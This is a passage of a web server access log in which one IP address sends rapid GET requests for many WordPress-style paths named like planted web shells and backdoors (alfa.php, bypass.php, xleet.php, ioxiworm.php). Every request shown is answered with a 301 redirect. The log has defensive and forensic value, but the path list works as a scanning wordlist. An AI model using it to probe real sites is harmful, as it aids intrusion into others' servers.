HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:49 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:00:50 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /wp-admin/css/colors/sunrise/colors_95.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /wp-includes/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:51 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-includes/SimplePie/applicationd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:52 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:00:53 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /templates/beez3/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:00:54 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:00:55 +0300] "GET /wp-includes/Text/Diff/index.php 